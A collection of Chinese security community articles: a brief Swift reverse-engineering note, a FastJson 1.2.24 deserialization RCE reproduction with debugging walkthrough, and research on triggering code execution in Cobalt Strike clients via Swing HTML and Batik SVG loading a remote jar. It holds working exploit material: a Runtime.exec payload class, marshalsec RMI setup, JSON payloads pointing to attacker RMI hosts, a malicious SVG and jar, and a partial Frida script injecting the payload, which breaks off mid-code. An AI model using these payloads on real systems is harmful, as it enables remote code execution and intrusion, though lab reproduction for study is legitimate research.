在对Swift反向工程没有任何经验的情况下, 我将在这篇文章中开始我的个人探索,也许你们也可以和我一起,深入Swift语言的内部,将其拆解,弄清楚它的构造.
**Swift对象**
我创建了一个简单的Swift iOS应用程序来进行我们的研究.
class myClass {
var var1 : String
var var2 : Int
init(var1: String, var2 : Int) {
self.var1 = var1 self.var2 = var2 }}class ViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
let mc = myClass(var1: "rotlogix", var2: 100)
print(mc.var1);
print(mc.var2);
正如你所看到的,这里有一个非常简单的类—— myClass,以及两个实例变量var1、var2。我们将这个类初始化,并且输出实例变量的值。
在谷歌进行了一些浏览后,我发现下面的文章对Swift的对象进行了分解。
在__objc_classlist这一片段内部,一个Mach-O二进制的__DATA部分内就是二进制里的每一个类的条目。使用otool和下面的命令后,我们就可以很容易地观察到这种结构,命令如下:
otool -s __DATA __objc_classlist <Target_Executable>
-s表示我们想要丢弃一段二进制
__DATA是目标段
__objc_classlist是目标部分
这并不是很有帮助,而我们可能会想要了解更多关于类条目的东西。那么,让我们用Hopper在这个过程中帮助我们。
__objc_classlist结构的内部有三个条目,并且我们可以看到,第一项似乎和我们的类很像。
__TtC17SwiftClassExample7myClass
**识别解码**
这里我们看到的是Swift用来存储对象的元数据的方式,其被称为“识别编码”。让我们手动对这个对象进行“识别解码”:
T是所有Swift符号的前缀
t可能与一个种类有关(如果我错了,请纠正我)
**类型种类**
Swiftexample是对模块名称的描述
myclass是对类名称的描述
现在,当我们试图理解__objc_classlist内的条目时,可以选择手动执行 “识别解码”的步骤,或者使用一个叫做Swift-demangle的附带Xcode的REPL工具。
xcrun swift-demangle --compact _TtC17SwiftClassExample7myClass SwiftClassExample.myClass
Swift-demangle的输出将会以在我们的源代码中被定义的方式,给我们提供确切的对类的表示。Hopper也将会显示objc数据部分内的对象的确切信息:
这给我们提供了两个不同并且有效的自动“识别解码" Swift对象的方式。
**结论**
希望这能为大家在对Swift对象结构和内部进行静态分析时提供一些帮助。 | 社区文章 |
# FastJson_1.2.24 反序列化漏洞复现+解析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
概述：本文从复现与调试分析两个方向简述了此漏洞，逐步跟踪漏洞执行流程。
漏洞的复现与调试分析采用了两套环境
复现：Windows+WSL_Ubuntu18.04+Vulhub
调试分析：Windows+IDEA+WSL_Ubuntu18.04
## 漏洞复现
### 使用VulHub-Docker 环境
采用 VulHub 中的FastJson 1.2.24-RCE 集成式Docker环境
此处需要用到一些其他知识：
* [git 基础命令](https://blog.csdn.net/MZLI_L/article/details/116199137?spm=1001.2014.3001.5501 "git 基础命令")
* [docker/docker-compose 基础命令](https://blog.csdn.net/MZLI_L/article/details/116199173?spm=1001.2014.3001.5501 "docker/docker-compose 基础命令")
* [curl 基础命令](https://blog.csdn.net/MZLI_L/article/details/116199232?spm=1001.2014.3001.5501 "curl 基础命令")
VulHub 下载命令：
* `GitHub：git clone https://github.com/vulhub/vulhub.git`
* `Gitee：git clone https://gitee.com/Plastilina/vulhub.git`
下载完成后进入相关漏洞环境目录
此处为：`/vulhub/fastjson/1.2.24-rce`
目录下具有`docker-compose.yml`文件，为`docker compose`的配置文件，通过此文件构建一个具有`FastJson
1.2.24-RCE`漏洞的`Docker`容器
构建命令：`docker-compose build`
启动命令：`docker-compose up -d`
停止命令：`docker-compose down`
进入docker容器命令：
* 使用`docker ps`获取对应容器的`CONTAINER ID`
* 进入docker容器
`docker exec -it <CONTAINER ID> /bin/bash`
检测是否正常使用：在本机运行`curl http://127.0.0.1：8090`
出现下图信息，表示正常运行：
### 构建恶意访问请求Payload
注意：此文件构建在另一主机上
此处需要使用到的其他知识：
* [javac 基础命令](https://blog.csdn.net/MZLI_L/article/details/116199335?spm=1001.2014.3001.5501 "javac 基础命令")
创建`TouchFile.java`文件
拷贝如下代码
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
# Windows
# String[] commands = {"notepad.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
执行编译命令，生成class文件
`javac TouchFile.java`
### 使用python 创建简易文件服务器
注意：此文件服务器不与目标机同一机器上
命令行模式下`cd`到构建了恶意payload文件目录下
执行命令：`python -m http.server [port]`
例：`python -m http.server 1111`
出现下图所示表示成功：
此时在目标主机应该可以访问到此目录下的文件
在目标主机执行命令
`curl http://<存放了payload主机的IP>:1111`
返回的数据中应有如下类似数据
### 使用marshalsec 创建恶意RMI服务
注意：此RMI服务不在目标主机上，在搭建了文件服务器的主机上。
（当然，它也可以在其他机器中，只要各个机器可以互相访问）
**RMI:** Remote Method Invocation，远程方法调用。RMI服务器类似以前的电话转接员，用于转接服务器的特定请求。
此处需要用到一些其他知识：
* [java 基础命令](https://blog.csdn.net/MZLI_L/article/details/116199335?spm=1001.2014.3001.5501 "java 基础命令")
* [maven 基础命令](https://blog.csdn.net/MZLI_L/article/details/116199478?spm=1001.2014.3001.5501 "maven 基础命令")
下载`marshalsec`
`Github:git clone https://github.com/mbechler/marshalsec.git`
`Gitee:git clone https://gitee.com/Plastilina/marshalsec.git`
下载完成后进入`marshalsec`目录，其中有一个`pom.xml`文件，这是一个`maven`的项目构建文件
使用`maven`构建项目：`mvn compile`
构建完成后，在该目录下会有一个`target`目录，内含构建好的jar包
我们需要使用的为`marshalsec-0.0.3-SNAPSHOT-all.jar`
也可以直接下载编译完成的jar包
链接：`Gitee: git clone https://gitee.com/Plastilina/marshalsec-jar.git`
然后进入jar包所在文件执行命令：
`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
<"文件服务器地址:端口/TouchFile"> <监听端口>`
例：`java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
"http://192.168.192.113:8000" 9999`
### 攻击
注：下列操作皆在恶意主机中执行。
启动`BurpSuite`,创建一个`Repeader`,host、端口指向目标机，当然也可以直接使用`Curl`
拷贝如下代码：
# BurpSuite
POST / HTTP/1.1
Host: 目标机器:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://恶意主机IP:9999/TouchFile",
"autoCommit":true
}
}
# Curl
curl <目标主机IP>:<端口>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<文件服务器ip>:<端口>/TouchFile","autoCommit":true}}'
发送请求
如果成功将有如下表现
1. 文件服务器将出现如下记录。这是来自目标服务器的访问（RMI将你的数据信息告诉了目标服务器）
如果此处未出现任何记录，请检查目标主机与恶意主机是否可以互相ping通，其次请检查，RMI服务是否注册绑定文件服务器（注意在绑定时，填写的恶意主机IP不能是本地回环地址，这是要发送到目标主机的数据）
2. 如果RMI服务出现如下记录。这是来自目标服务器的访问，他将告诉目标主机去哪里获取它想要的文件数据。
如果此处未出现任何记录，请检查目标主机与恶意主机之间是否可以互相访问（ping）。其次检查请求包`dataSourceName`字段是否填写正确。
3. 目标docker容器执了命令，这里是在`tmp`目录下创建了`success`文件
## 漏洞分析
### IDEA构建调试环境
为了方便分析调试和追踪恶意数据，便不使用`vulhub`集成环境了。
代码链接：[Link](https://gitee.com/Plastilina/fast-json-demo.git)
JDK版本：[8u102](https://download.oracle.com/otn/java/jdk/8u102-b14/jdk-8u102-linux-x64.tar.gz?AuthParam=1619161090_9918e544f4ca929b58d65fba32af65c9
"8u102")，默认开启`com.sun.jndi.rmi.object.trustURLCodebase`
**调试执行**
1. 调试启动服务端
使用`IDEA`调试启动服务端，指定监听端口可在`src/main/resources/application.properties`目录下修改。
2. 构建payload触发漏洞
使用`curl`发送`payload`
`curl <服务端ip>:<端口号>/user -H "Content-Type:application/json" -d
'{"b":{"[@type](https://github.com/type
"@type")":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<恶意文件服务器主机ip>:<端口号>/TouchFile","autoCommit":true}}'`
### 漏洞分析
**观察异常堆栈**
当恶意代码执行完毕后，由于后续的状态的校验没有通过，会触发异常，返回调用堆栈。(请启用断点中的异常断点)
截取主要部分
整个堆栈大致可以分为两部分
1. 1-7行，为`JdbcRowSetImpl`中反射调用利用链流程。
2. 8-末，为`FastJson`中的反序列化处理流程。
java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
at com.sun.rowset.JdbcRowSetImpl.connect(Unknown Source) ~[na:1.8.0_102]
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(Unknown Source) ~[na:1.8.0_102]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_102]
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
at java.lang.reflect.Method.invoke(Unknown Source) ~[na:1.8.0_102]
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_2_JdbcRowSetImpl.deserialze(Unknown Source) ~[na:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseExtra(DefaultJSONParser.java:1490) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:766) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_User.deserialze(Unknown Source) ~[na:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:639) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:339) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:307) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:270) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:370) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:452) ~[fastjson-1.2.24.jar!/:na]
**流程跟踪**
#### 针对`JdbcRowSetImpl`中反射调用利用链流程跟踪。
在`Method.invoke`处设置断点，发送`Payload`触发断点。
可以看见`setAutoCommit`方法被调用了，这也就是`Payload`中设置`AutoCommit:false`的原因（其实`true/false`无所谓，只是为了触发反射调用。）
随后进入`setAutoCommit`源码，发现调用了`connect`,继续跟进。
跟进后发现了JNDI初始化流程，而这里的`getDataSourceName`,返回的便是我们`Payload`中`DataSouceName`。
`lookup`中的参数可控，就和`exec`参数可控一样，具有很高的危险性。
至此，通过`RMI`协议加载并实例化远程类，触发构造方法、静态方法等等，达到了攻击的目的。
#### 针对`FastJson`中的反序列化处理流程跟踪。
**JSON.parseObject**
`JSON.parseObject`主要做了这么几件事
* 将输入的byte字节数组转为String
* 创建并初始化`DefaultJSONParer`解析器
* 使用解析器解析输入流
**DefaultJSONParser.parseObject**
`JSON.parseObject`主要做了这么几件事
* 创建`User`类的序列化器
* 使用序列化器反序列化
**JavaBeanDeserializer.deserialze**
这里的`JavaBeanDeserializer.deserialze`对应着上面的序列化器
采用了`JAVA`的`ASM`技术动态的生成了类，并使用其创建了序列化器。
其主要做了一下几件事
* 遍历`JSON`字符串,查看是否有对应的字段，有则填充
* 当并未在字符串中扫描到对应的字段时，流程会走向`JavaBeanDeserializer.parseField`
**JavaBeanDeserializer.parseField**
`JavaBeanDeserializer.parseField`内会做如下几件事
* 调用`smartMatch`,尝试从已有的`FieldDeserializers`中匹配字段反序列化器
* 当没有匹配到对应的反序列化器时，流程走向`DefaultJSONParser.parseExtra`
而`parseExtra`内会匹配`extraTypeProviders`，匹配失败的话流程走向`DefaultJSONParser.parse`
**DefaultJSONParser.parse**
`DefaultJSONParser.parse`内会做如下几件事
* 根据`lexer`选择执行流程，`lexer`在最开始初始化`DefaultJSONParer`内完成。
这里的`LBRACE`对应着字符`{`。然后调用`DefaultJSONParer.parseObject`一个重载再次解析。
**DefaultJSONParer.parseObject**
重点来了，流程如下
1. 解析`JSON`格式的`payload`,扫描到`[@type](https://github.com/type "@type")`字段后，使用类加载器加载对应的类`JdbcRowSetImpl`
2. 获取`JdbcRowSetImpl`的序列化器进行反序列化
3. 在反序列化时，通过反射调用触发漏洞。
## 漏洞总结
关于反序列系列的漏洞，我们通常关注的两个点：
* 反序列化链
* 反序列化链的利用
如前边所展现的`com.sn.rowset.JdbcRowSetImpl`便是一条反序列化链，通过设置`dataSourceName`与`autoCommit`属性，达到加载恶意类文件目的。
类似的利用链还有`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`
而接下来的`FastJson`一系列的调用，便是对反序列化的链的一个利用。
可以发现，在首次反序列化失败后，流程会扫描传入的`JSON`字符串，并根据`[@type](https://github.com/type
"@type")`字段的值进行指定类型的构造，这也是此次漏洞主要的点。
在`FastJson`更高版本上便是增加了对`[@type](https://github.com/type "@type")`类型进行了一系列的检查过滤。
### 参考
[fastjson历史漏洞研究（一）](http://blog.topsec.com.cn/fastjson%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6%EF%BC%88%E4%B8%80%EF%BC%89/)
[基于Java反序列化RCE – 搞懂RMI、JRMP、JNDI](https://xz.aliyun.com/t/7079)
[Fastjson 流程分析及 RCE 分析](https://paper.seebug.org/994/) | 社区文章 |
# CS的RCE利用研究
## 1.初步探索
**如何在Swing使用html**
<https://docs.oracle.com/javase/tutorial/uiswing/components/html.html>
官方文档中已经写出在Swing中使用的方式，只需要将`<html>标记放在开头即可`
**接下来我们来测试利用一下**
如下所示，我创建了一个标签，将其内容通过`html`设置成了一个图片，这里也就是说，假设这个`JLabel`的标签内容我们可控，那么我们即可调用html代码，所以接下来去研究一下这个html在底层如何被执行成功的
打开`rt`的jar包`rt-javax-swing-text-html`
> rt.jar：代表runtime，包含所有核心Java 运行环境的已编译calss文件。
>
> javax：java里是核心包，javax是扩展包
这些就是跟我们HTML有关的类了，首先我们先来看一下`HTML`这个类，API文档中解释如下
**1\. 我们看一下HTML这个类有哪些东西**
它存在一个内部类`Tag`，它存在三个构造器（一个无参，两个有参）
调用有参构造，将大量平时我们看到过得html的标签名作为id，实例化了一堆Tag对象，并且最后将这些对象放入`allTags`数组
同样的还有一个`Attribute`内部类，存在一个有参构造，实例化了一堆Attribute，这里的参数名都是我们在html常见的标签属性，最后将这些内部类全部都存放在`allAttributes`数组里
**2\. 来看一下HTMLDocument类**
这里最显眼的肯定是这一堆Action，如下图所示，几乎将每个之前实例化的Tag都对应指定了一个`Action`类，比如下图的LinkAction，像ba，sa，ca，它们归根结底其实也是Action
这些Action在哪里被声明的呢？我们翻找一下，看到它们在`HTMLReader`类里，这个类是什么呢？说白了就是按照JAVA的格式来解析之前的不同HTML标签
而它继承于`HTMLEditorKit.ParserCallback`
**3\. 那我们再转到HTMLEditorKit，然后在ParserCallback倒是没发现什么，但是发现了一个HTMLFactory类**
顾名思义它是个工厂类，所以盲猜有点东西，发现它会根据不同的标签创建不同的VIEW
这里要注意到这个ObjectView，其实Object相关的东西不是在这里第一次出现了，例如HTML的OBJECT标签和ObjectAction
我们点进这个ObjectView，发现存在反射调用空餐构造器来实例化对象，并且这个类必须继承`Component`，然后调用`setParameters`函数
然后点进`setParameters`看一看，这里为了方便讲解，我直接把代码粘贴出来了，并以注释的形式来说明其功能，这里看着内容不少，但是实际上如果看进去我写的讲解其实很简单
private void setParameters(Component comp, AttributeSet attr) {
Class k = comp.getClass();
BeanInfo bi; //声明一个BeanInfo类型的对象（多态范畴，这个BeanInfo是个接口），这个BeanInfo属于javabean的内容范畴，那么什么是javabean呢，可以简单理解成一种特殊的类，遵从特定的规范，可以将1个或多个对象封装到一个对象（Bean）中
try {
bi = Introspector.getBeanInfo(k); //Introspector是一个工具类，用来操作javabean的属性，事件和方法，其中它的getBeanInfo函数，它的作用是对Java bean进行内省，并了解其所有属性，公开方法和事件，并遵守一些控制标志，最后返回的类型是GenericBeanInfo，所以这个bi对象其实是GenericBeanInfo
} catch (IntrospectionException ex) {
System.err.println("introspector failed, ex: "+ex);
return;
}
PropertyDescriptor props[] = bi.getPropertyDescriptors();
for (int i=0; i < props.length; i++) {
//这里attr为我们利用object标签时，传的param的参数，然后这里props为这个Object对应类所有的属性，所以这时候按照下边的写法，也就是只有当我们传入的属性在这个所有属性中，这里的v才会被赋予对应属性的值（值为字符串型），所以下面这个if才会成立
Object v = attr.getAttribute(props[i].getName());
if (v instanceof String) {
//将v赋值给value，这就是对应属性的值了
String value = (String) v;
//而writer则是对应的属性的写方法，setXXX
Method writer = props[i].getWriteMethod();
//这里就是判断属性是否可写，怎么判断属性是否可写呢，就是通过看它是否有对应的set方法，如一个属性是Name，那就看这个类有没有setName方法
if (writer == null) {
// read-only property. ignore
return; // for now
}
//获得方法形参类型，判断是否仅有1个，多了也不行
Class[] params = writer.getParameterTypes();
if (params.length != 1) {
// zero or more than one argument, ignore
return; // for now
}
Object [] args = { value };
try {
//反射执行对应方法
MethodUtil.invoke(writer, comp, args);
} catch (Exception ex) {
System.err.println("Invocation failed");
// invocation code
}
}
}
}
接下来总结一下利用这个ObjectView的类的所要求的特点
1. 通过classid传入需要实例化的类，该类必须继承于`Component`
2. 必须存在无参构造器
3. 必须存在一个属性XXX，并且该属性有setXXX函数
4. setXXX的参数必须是string类型，并且只能有一个
所以我们可以通过JLabel实验一下，继承满足
> JLabel extends-> JComponent extends-> Container extends-> Component
存在无参构造器
存在`text`属性，并且存在setText函数
然后代码改成如下所示
<html><object classid='javax.swing.JLabel'><param name='text' value='小惜'>
执行一下，发现调用成功
* * *
## 2\. 链路寻找
首先因为利用的类需要继承于Component，所以找到所有Component的子类
然后右键导出文本，并且将文本中cobaltstrike之前的内容全删掉
然后写个脚本整理一下格式（用python习惯了发现还是python香，但是想捡一捡java了就用java写了一个），这里要注意判断是否为内部类，正常我们使用forName函数，里面的参数如果是内部类必须要用这种格式--->`Class.forName("com.mxgraph.swing.mxGraphComponent$mxGraphControl");`，这是因为在java中编译之后内部类的class文件是独立存在的，跟外部类放在一个目录下名称为`外部类$内部类.class`
然后再根据是否存在无参构造器，是否有对应属性存在setXXX方法的条件进行筛选，这里初步筛选了126个方法，有点太多了，这里有大量的重复方法，我们需要将其排除，所以我这里先暂时将方法同名超过两次的排除
ok这回筛选出来只有28个了
然后就可以通过手动研判一下这些链路是否会有可以利用的，其实最终的利用链就是`JSVGCanvas-->setURI`这一条，我这时去寻找官方的文档，找到一个demo
<http://people.apache.org/~clay/batik/svgcanvas.html#Creating+a+JSVGCanvas>
demo如下：
import org.apache.batik.swing.JSVGCanvas;
import org.apache.batik.swing.gvt.GVTTreeRendererAdapter;
import org.apache.batik.swing.gvt.GVTTreeRendererEvent;
import org.apache.batik.swing.svg.GVTTreeBuilderAdapter;
import org.apache.batik.swing.svg.GVTTreeBuilderEvent;
import org.apache.batik.swing.svg.SVGDocumentLoaderAdapter;
import org.apache.batik.swing.svg.SVGDocumentLoaderEvent;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.File;
import java.io.IOException;
public class SVGApplication {
public static void main(String[] args) {
JFrame f = new JFrame("Batik");
SVGApplication app = new SVGApplication(f);
f.getContentPane().add(app.createComponents());
f.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
System.exit(0);
}
});
f.setSize(400, 400);
f.setVisible(true);
}
JFrame frame;
JButton button = new JButton("Load...");
JLabel label = new JLabel();
JSVGCanvas svgCanvas = new JSVGCanvas();
public SVGApplication(JFrame f) {
frame = f;
}
public JComponent createComponents() {
final JPanel panel = new JPanel(new BorderLayout());
JPanel p = new JPanel(new FlowLayout(FlowLayout.LEFT));
p.add(button);
p.add(label);
panel.add("North", p);
panel.add("Center", svgCanvas);
// 设置按钮的监听事件
button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
//这里是弹出文件选择框，然后判断是否为正常选择文件
JFileChooser fc = new JFileChooser(".");
int choice = fc.showOpenDialog(panel);
if (choice == JFileChooser.APPROVE_OPTION) {
//获取文件
File f = fc.getSelectedFile();
try {
//将文件转化成url，形如：file:/C:/Users/97339/Pictures/睡觉.svg
//然后利用setURI函数将svg图标展示到svgCanvas画布上
svgCanvas.setURI(f.toURL().toString());
} catch (IOException ex) {
ex.printStackTrace();
}
}
}
});
return panel;
}
}
注意这里我将下面的代码删除了，因为程序没用到它们
程序结果如下
既然如此，利用它加载本地svg文件太过于鸡肋，回到现实，我们还是想让它读取远程的svg文件，当然也可以
* * *
## 3\. 链路详解
这样我们就体会到了这个setURI的用法，它会通过URI加载一个svg，而svg中是可以调用js代码的，如下图所示，我这里存在一个`JS.svg`
但是这里报错，这里看报错信息就知道它是没有找到图中的相关类，
但是在报错的内容中还发现了如下所示的两个重要的函数
我们可以先点进`loadScript`中look look，我们发现`loadScripts`代码相对少很多，来啃一下
public void loadScripts() {
//这里利用getElementsByTagNameNS来获取命名空间为http://www.w3.org/2000/svg并且名称为script的元素，如果这里不理解的话往下看附录里面的getElementsByTagNameNS详解
NodeList scripts = this.document.getElementsByTagNameNS("http://www.w3.org/2000/svg", "script");
//svg对象为上方所示的JS.svg的话，这里的len即为1
int len = scripts.getLength();
for(int i = 0; i < len; ++i) {
//将script节点对象变为AbstractElement对象，并作为参数调用下方的loadScript函数
AbstractElement script = (AbstractElement)scripts.item(i);
this.loadScript(script);
}
}
ok，压力给到`loadScript函数`来吧继续啃代码，仔细看一下发现这个`loadScripts`可以简单分为3部分，首先最外层的if忽略肯定会进去，因为最开始`executedScripts`肯定是空的，肯定不存在，然后判断条件还有一个`!`所以双重否定为肯定，然后执行了部分1的代码，接下来会有两个分支，一个是type是`application/java-archive`的情况，另外一部分就是else的情况，而在部分1我们看到`type =
"text/ecmascript"`所以如果type没指定会默认被赋值成`text/ecmascript`，也就会走else分支
既然它正常会走else分支，那我们就来看看我们没有走过的分支 **部分2**
if (type.equals("application/java-archive")) {
try {
//读取xlink:href属性的内容，如果没读到这里href的值不为null，而是空字符串 --> ""
String href = XLinkSupport.getXLinkHref(script);
//这里的getBaseURI()用来获取svg数据源的url，然后作为参数创建了ParsedURL对象，ParsedURL继承于URL，我们这里先把它当成普通URL对象理解
ParsedURL purl = new ParsedURL(script.getBaseURI(), href);
this.checkCompatibleScriptURL(type, purl);
URL docURL = null;
try {
docURL = new URL(this.docPURL.toString());
} catch (MalformedURLException var14) {
}
//这里docURL先不用管，DocumentJarClassLoader是URLClassLoader的封装，URLClassLoader的作用是加载远程jar包，这里最重要的参数是第一个参数，它指定了远程jar包的地址，而第一个参数又是又purl对象生成的，而purl对象创建时同样存在两个url地址，上方new ParsedURL(script.getBaseURI(), href);代码中，真正指定的url地址其实为第二个参数，这里具体可以看附录里的《URL详解》
DocumentJarClassLoader cll = new DocumentJarClassLoader(new URL(purl.toString()), docURL);
//这里代表看看这个jar包里面有无META-INF/MANIFEST.MF文件，相当于一个判断，如果没有直接返回
URL url = cll.findResource("META-INF/MANIFEST.MF");
if (url == null) {
return;
}
//返回文件字节流并创建Manifest对象，Manifest类用于维护清单条目名称及其相关属性
Manifest man = new Manifest(url.openStream());
this.executedScripts.put(script, (Object)null);
//获取Script-Handler键的名称，也就是类名
mediaType = man.getMainAttributes().getValue("Script-Handler");
if (mediaType != null) {
//加载类并获取空餐构造器，并且实例化
ScriptHandler h = (ScriptHandler)cll.loadClass(mediaType).getDeclaredConstructor().newInstance();
h.run(this.document, this.getWindow());
}
mediaType = man.getMainAttributes().getValue("SVG-Handler-Class");
if (mediaType != null) {
EventListenerInitializer initializer = (EventListenerInitializer)cll.loadClass(mediaType).getDeclaredConstructor().newInstance();
this.getWindow();
initializer.initializeEventListeners((SVGDocument)this.document);
}
} catch (Exception var16) {
if (this.userAgent != null) {
this.userAgent.displayError(var16);
}
}
}
ok，那么既然如此，整个链就很明显了，利用的方式也出来了
* * *
## 4\. 准备恶意svg和jar文件
import java.io.IOException;
public class Exp {
public Exp() throws IOException {
String os = System.getProperty("os.name").toLowerCase();
if(os.indexOf("mac")>=0){
Runtime.getRuntime().exec("open -na Calculator");
}else if(os.indexOf("windows")>=0){
Runtime.getRuntime().exec("calc.exe");
}
}
}
然后将其打成jar包
javac .\Exp.java
jar -cvf exp.jar .\Exp.class
这时将生成的jar包通过压缩文件方式打开，然后去看`META-INF`目录下的`MANIFEST.MF`文件
由于之前我们对链路的研究所以知道这里缺少一个利用必不可少的值`Script-Handler`，我们这里可以手动添加，然后覆盖原本的`MANIFEST.MF`文件
这里其实还有一种方法就是再生成jar包的时候直接上MANIFEST.MF文件就带这条文本，前提需要类去实现`ScriptHandler`接口，由于还得导jar包我就懒得找了，感兴趣的自己尝试吧
**svg文件**
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" height="190">
<script type="application/java-archive" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://127.0.0.1:1234/exp.jar">
</script>
</svg>
* * *
## 5\. 本地利用
当我准备好文件并打算在本地利用之前的demo—`SVGApplication`类准备本地利用的时候又出问题了，报了个错，提示我们这个jar包的url地址和与文档本身来自不同位置，那这又什么情况，还好这里能显示报错的详情，看第二行出现了一个熟悉的函数`checkCompatibleScriptURL`
这个函数之前都没有搭理它，现在就出来刷存在感了，看一下
传递两个参数一个是，类型，一个是jar包的url，继续跟进，这里调用了`checkLoadScript`函数，并且再原有的两个参数上还加上了个了一个`this.docPURL`，先别着急继续往下跟进函数，这里已经出来了两个URL，所以盲猜应该是对比两个地址的domain是否相同，所以查查这个docPURL是什么
通过搜索框查看赋值情况，发现这个`this.docPURL`应该是svg文件的url地址
所以这里将代码稍加改动，不读取本地svg文件，而是远程读取
ok，继续我们往上，我们回到实际的swing中利用
payload
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:1234/test.svg'>
成功
* * *
## 6\. 实战利用
同样的先抓包，获取publickey（详细的在我xss复现那篇已经详解，这里简单代过了）
获得地址
访问获得文件
获得publickey
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB==
获取key后，用我修改后的脚本上线
利用
http://192.168.52.129:5200/dpixel
然后将username改成payload，公钥也放好
执行
造成这个原因也很简单，就是payload长度限制，这个在大佬的文章中也提到了，我就不重复哔哔了，详情去看（不到为什么在xss那里我改了下脚本就可以利用了，可能当时的思路就是错的，然后瞎猫碰到死耗子了）
<https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ>
然后呢解决方法就是，退而求其次，从追求首页RCE转变成`进程列表`RCE，其实也还可以毕竟一个攻击者拿到一个主机通常还是会查看一下进程的，这里直接把大佬
漂亮鼠的代码拿来了，需要改一下payload和进程名（我相信这块是有办法绕过的，因为漂亮鼠大佬提供了Frame思路，但是只能高版本，还有一种是从aes通信入手，而且北辰大佬听说是直接首页RCE的，我非常想继续给它研究出来，奈何最近没什么时间，等之后有机会再说吧）
import frida
import time
import argparse
def spoof_user_name(target, url):
# spawn target process
print('[+] Spawning target process...')
pid = frida.spawn(target)
session = frida.attach(pid)
# 下面的payload修改一下
js = '''
var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.52.1:1234/test.svg'>"
payload=Array.from(payload).map(letter => letter.charCodeAt(0))
var Process32Next=Module.findExportByName("kernel32.dll", 'Process32Next')
Interceptor.attach(Process32Next, {
onEnter: function(args) {
//var hProcessSnap=args[0]
var info=args[1];
this.info = info;
//console.log(this.info);
